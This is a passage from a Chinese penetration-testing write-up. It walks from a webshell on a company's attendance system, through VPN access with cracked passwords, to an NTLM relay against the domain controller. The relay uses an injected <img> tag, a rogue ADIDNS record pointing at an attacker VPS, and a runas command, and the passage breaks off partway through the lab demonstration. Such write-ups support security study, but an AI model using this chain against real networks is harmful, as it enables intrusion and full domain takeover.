拿到目标后对目标进行资产收集和常规渗透,目标体积较大,有数个 VPN 接入口,有自己独立的邮件服务器,根据邮服泄露的信息,内网存在域。目标安全性较好,没有历史漏洞可以直接获取到目标相关资产的权限。
经过多天打点后,终于找到目标线上的一个自研系统存在漏洞,通过一系列操作获取到该目标的网站的 webshell,环境为 linux ,外网云上环境。权限为 www-data。
该点为目标的打卡和周报系统,分析日志可以发现有一部分用户是从目标总部过来的,一部分用户是从各地IP播过来的,可能是因为疫情原因吧,有些员工在家远程办公。收集数据库中所有的用户名已经可以解密的密码,尝试去登录 VPN,运气不错,共拿到两组 VPN 账号,成功拨入内网。根据 VPN
的下发路由和网段探测慢慢摸到了目标内网中一台域控的位置,VPN 用的是域账号进行认证,所以我们可以直接链接 LDAP 去查询域内信息。
获取的两组账号均为边缘客服人员,目标域内有多个域控,所有的机器版本也比较新,个人机器均为 WIN10,服务器也是 2016 、2019 这样较新的版本,OU 划的也比较仔细,拉出来看了看组策略的数量和部分配置,可以看出管理员还是很会玩的。
没有直接可以利用的点,这两组账号的邮箱内的邮件也没有敏感的信息。继续翻找,OU 中 MIS(网络管理员)组的成员均为域管,有部分机器是用户自行拉入域的。
整理一下我们手上的东西:一个外网的打卡系统,两组客服域账号,一个VPN接入点
到此我们已经具备了拿下域控的所有条件了,看到这里,各位可以停下里想一想如果是你,你该怎么进行攻击。
0x02 原理与构造ntlm relay is dead long live ntlm relay
我们可以在打卡系统中插入我们的链接,例如 <img src="http://192.168.1.1/img.png" />。有用户来访问打卡系统的时候就会来对我们的网站进行请求,此时我们返回 401,则用户浏览器会默认对我们进行 NTLM 认证,因为来源是 HTTP ,我们可以将 HTTP 中继到 LDAP,来完成攻击连,也就是说,域管理员用户一旦访问打卡系统,我们就可以直接接管域控。
但是,默认情况下浏览器不会向外网发送凭证信息,你需要向域内添加一条DNS记录指向你用于中继的VPS,而默认情况下,任何认证用户(Authenticated Users),都用 Create all child object 的权限。换句话说,任何一个域用户默认情况下都可以添加 DNS 到 ADIDNS 区域。
到此我们的攻击路线就清晰了:
用域用户向域中添加一条 DNS 记录 unicodesec 指向公网 vps
在公网的打开系统首页 添加 <img src="http://unicodesec/img.png" />
在 公网 vps 上挂好 VPN 做好中继回域控的线路
等待用户来进行访问,当域管用户来访问时,则我们可以通过修改DACL,赋予 DCSYNC 权限 等方式接管整个域的权限
0x03 攻击环境说明
为了避免不必要的麻烦,演示过程由测试环境代替
IP HOSTNAME NOTE192.168.136.138 DC 域控,Winodws2016
192.168.136.140 WIN域机器 WIN10,域管理员登录机器
1.1.1.1 外网云上环境 外网的打卡系统-ubuntu18.04
2.2.2.2 公网VPS 攻击者机器
USERNAME NOTE
Administrator 域管理员
win10 普通域用户,现有特权
添加 认证图片
首先用我们拿到的 webshell 向系统首页添加以下代码,这里我们就用随便起一个 http 服务器演示。
<img src="http://unicodesec/1.png" />添加 DNS 记录
这里我们直接使用 Powermad 在域外向域中添加一条指向恶意服务器的 A 记录
使用VPN登录到内网中(客服域账号),全程是在域外操作的也就是本地也就是我们根本不需要域机器,这里我们用 frp 代理模拟拨入VPN
使用runas进行模拟Token
runas /netonly /user:shell\admin123 powershell